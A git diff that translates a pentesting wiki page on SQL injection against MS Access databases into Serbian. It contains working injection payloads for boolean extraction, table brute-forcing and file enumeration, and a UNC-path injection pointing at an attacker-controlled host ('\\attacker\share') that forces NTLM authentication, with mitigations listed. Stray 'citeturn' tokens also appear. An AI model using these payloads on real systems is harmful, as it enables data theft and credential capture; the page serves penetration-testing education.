Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:22 +00:00
parent 3e0e5f32a7
commit 2a8e3327ba

View File

@ -4,7 +4,7 @@
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
@ -35,7 +35,7 @@ Operator **`LIMIT`** **nije implementiran**. Međutim, moguće je ograničiti re
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Baš kao i TOP, možete koristiti **`LAST`** koji će dobiti **redove sa kraja**.
Baš kao TOP, možete koristiti **`LAST`** koji će dobiti **redove sa kraja**.
## UNION Upiti/Sub upiti
@ -50,7 +50,7 @@ Stoga, morate znati **validno ime tabele**.
> [!WARNING]
> Ovo će vam omogućiti da exfiltrirate vrednosti trenutne tabele bez potrebe da znate ime tabele.
**MS Access** omogućava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao što obično SQL injekcija će biti unutar **`WHERE`** klauzule, možemo to zloupotrebiti.
**MS Access** omogućava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao što obično biva, SQL injekcija će biti unutar **`WHERE`** klauzule, što možemo zloupotrebiti.
Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pogodili) da je jedno **ime kolone username**, i to je polje koje želite da **exfiltrirate**. Mogli biste proveriti različite odgovore web aplikacije kada se koristi tehnika chaining equals i potencijalno exfiltrirati sadržaj sa **boolean injection** koristeći **`Mid`** funkciju za dobijanje podstringova.
```sql
@ -62,7 +62,7 @@ Ako znate **ime tabele** i **kolone** koju želite da izvučete, možete koristi
```
_Feel free to check this in the online playground._
### Brute-forcing imena tabela
### Brute-forcing Tables names
Korišćenjem tehnike povezivanja jednakosti možete takođe **bruteforce-ovati imena tabela** sa nečim poput:
```sql
@ -75,7 +75,7 @@ Možete takođe koristiti tradicionalniji način:
_Feel free to check this in the online playground._
- Sqlmap uobičajeni nazivi tabela: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Postoji još jedna lista na [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- Postoji još jedna lista u [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing naziva kolona
@ -99,24 +99,34 @@ Već smo razgovarali o [**tehnici povezivanja jednakosti**](ms-access-sql-inject
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Ukratko, upit koristi "if-then" izjavu kako bi aktivirao "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem TOP 10 operatora, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava da se razmatra samo 10. tuple. Na takvoj vrednosti, koristeći MID operator, moguće je izvršiti jednostavnu uporedbu karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "username" za sve redove.
Ukratko, upit koristi "if-then" izjavu kako bi aktivirao "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem TOP 10 operatora, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava da se razmatra samo 10. tuple. Na takvoj vrednosti, korišćenjem MID operatora, moguće je izvršiti jednostavnu uporedbu karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "username" za sve redove.
### Time Based
### Vreme-Bazirane (Slepe) Tehnike
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL sam po sebi **ne** izlaže nativnu `SLEEP()` ili `WAITFOR` funkciju, tako da su tradicionalne vreme-bazirane slepe injekcije ograničene. Međutim, još uvek možete uvesti merljivo kašnjenje prisiljavajući engine da pristupi **mrežnom resursu koji je spor ili ne odgovara**. Pošto će engine pokušati da otvori datoteku pre nego što vrati rezultat, vreme HTTP odgovora odražava latenciju povratnog puta do hosta koji kontroliše napadač.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Usmerite UNC putanju na:
### Other Interesting functions
* SMB deljenje iza veze sa visokom latencijom
* host koji odbacuje TCP rukovanje nakon `SYN-ACK`
* firewall sinkhole
Dodatne sekunde koje uvodi daljinski pretraživač mogu se koristiti kao **out-of-band timing oracle** za boolean uslove (npr. izaberite spor put samo kada je injektovana predikcija tačna). Microsoft dokumentuje ponašanje daljinske baze podataka i povezani registry kill-switch u KB5002984. citeturn1search0
### Druge zanimljive funkcije
- `Mid('admin',1,1)` uzmi podstring sa pozicije 1 dužine 1 (početna pozicija je 1)
- `LEN('1234')` uzmi dužinu stringa
- `ASC('A')` uzmi ascii vrednost karaktera
- `CHR(65)` uzmi string iz ascii vrednosti
- `IIF(1=1,'a','b')` if then
- `IIF(1=1,'a','b')` ako onda
- `COUNT(*)` prebroj broj stavki
## Enumerating tables
## Enumeracija tabela
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
Sa [**ovde**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) možete videti upit za dobijanje imena tabela:
```sql
select MSysObjects.name
from MSysObjects
@ -126,25 +136,25 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Međutim, imajte na umu da je vrlo tipično pronaći SQL Injection gde **nemate pristup za čitanje tabele `MSysObjects`**.
Međutim, imajte na umu da je vrlo tipično pronaći SQL injekcije gde **nemate pristup za čitanje tabele `MSysObjects`**.
## Pristup fajl sistemu
### Potpuna putanja do web root direktorijuma
Znanje o **apsolutnoj putanji web root-a može olakšati dalja napada**. Ako greške aplikacije nisu potpuno sakrivene, putanja direktorijuma može biti otkrivena pokušavajući da izaberete podatke iz nepostojeće baze podataka.
Znanje o **apsolutnoj putanji web root-a može olakšati dalja napada**. Ako greške aplikacije nisu potpuno sakrivene, putanja do direktorijuma može biti otkrivena pokušajem da se izabere podatak iz nepostojeće baze podataka.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access odgovara sa **porukom o grešci koja sadrži punu putanju web direktorijuma**.
MS Access odgovara sa **porukom o grešci koja sadrži punu putanju do web direktorijuma**.
### Enumeracija fajlova
Sledeći vektorski napad može se koristiti za **inferisanje postojanja fajla na udaljenom fajl sistemu**. Ako navedeni fajl postoji, MS Access aktivira poruku o grešci koja obaveštava da je format baze podataka nevažeći:
Sledeći napadni vektor može se koristiti za **inferisanje postojanja fajla na udaljenom fajl sistemu**. Ako navedeni fajl postoji, MS Access aktivira poruku o grešci koja obaveštava da je format baze podataka nevažeći:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Drugi način za enumeraciju fajlova sastoji se u **navođenju stavke database.table**. **Ako** navedeni **fajl postoji**, MS Access prikazuje **poruku o grešci formata baze podataka**.
Drugi način za enumeraciju fajlova sastoji se u **navođenju stavke database.table**. **Ako** navedeni **fajl postoji**, MS Access prikazuje **poruku o grešci u formatu baze podataka**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
@ -154,14 +164,47 @@ Drugi način za enumeraciju fajlova sastoji se u **navođenju stavke database.ta
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Gde je **name\[i] ime .mdb fajla** i **realTable je postojeća tabela** unutar baze podataka. Iako će MS Access uvek aktivirati poruku o grešci, moguće je razlikovati između nevažećeg imena fajla i važećeg .mdb imena fajla.
Gde je **name[i] ime .mdb fajla** i **realTable je postojeća tabela** unutar baze podataka. Iako će MS Access uvek aktivirati poruku o grešci, moguće je razlikovati između nevažećeg imena fajla i važećeg .mdb imena fajla.
### .mdb alat za otkrivanje lozinki
### Pristup udaljenoj bazi podataka i krađa NTLM kredencijala (2023)
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) je besplatna alatka koja se može koristiti za oporavak glavne lozinke baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.
Od Jet 4.0 svaki upit može referencirati tabelu smeštenu u *drugom* `.mdb/.accdb` fajlu putem klauzule `IN '<path>'`:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Ako se korisnički unos konkatenira u deo nakon **IN** (ili u `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` poziv), napadač može da specificira **UNC putanju** koja pokazuje na host koji kontroliše. Motor će:
1. pokušati da se autentifikuje preko SMB / HTTP da otvori udaljenu bazu podataka;
2. otkriti **NTLM akreditive** veb-servera (prinudna autentifikacija);
3. analizirati udaljenu datoteku neispravna ili zlonamerna baza podataka može izazvati Jet/ACE greške u memoriji koje su više puta ispravljane (npr. CVE-2021-28455).
Praktičan primer injekcije:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Uticaj:
* Ekstrakcija Net-NTLMv2 hešova van kanala (korisno za relaying ili offline cracking).
* Potencijalna daljinska izvršenja koda ako se iskoristi nova greška u Jet/ACE parseru.
Mere zaštite (preporučuje se čak i za nasleđene Classic ASP aplikacije):
* Dodajte registry vrednost `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod ekvivalentnim ACE putem). Ovo prisiljava Jet/ACE da odbije daljinske putanje koje počinju sa `\\`.
* Blokirajte izlazni SMB/WebDAV na mrežnoj granici.
* Sanitizujte / parametrize bilo koji deo upita koji može završiti unutar `IN` klauzule.
Vektor prisilne autentifikacije ponovo je ispitan od strane Check Point Research 2023. godine, dokazujući da je još uvek moguće iskoristiti ga na potpuno zakrpljenom Windows Serveru kada registry ključ nedostaje. citeturn0search0
### .mdb Alat za otključavanje lozinki
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) je besplatan alat koji se može koristiti za oporavak glavne lozinke baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.
## Reference
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Konfigurisanje Jet/ACE za blokiranje daljinskih tabela](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Zloupotreba povezanih tabela Microsoft Access za NTLM prisilnu autentifikaciju (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}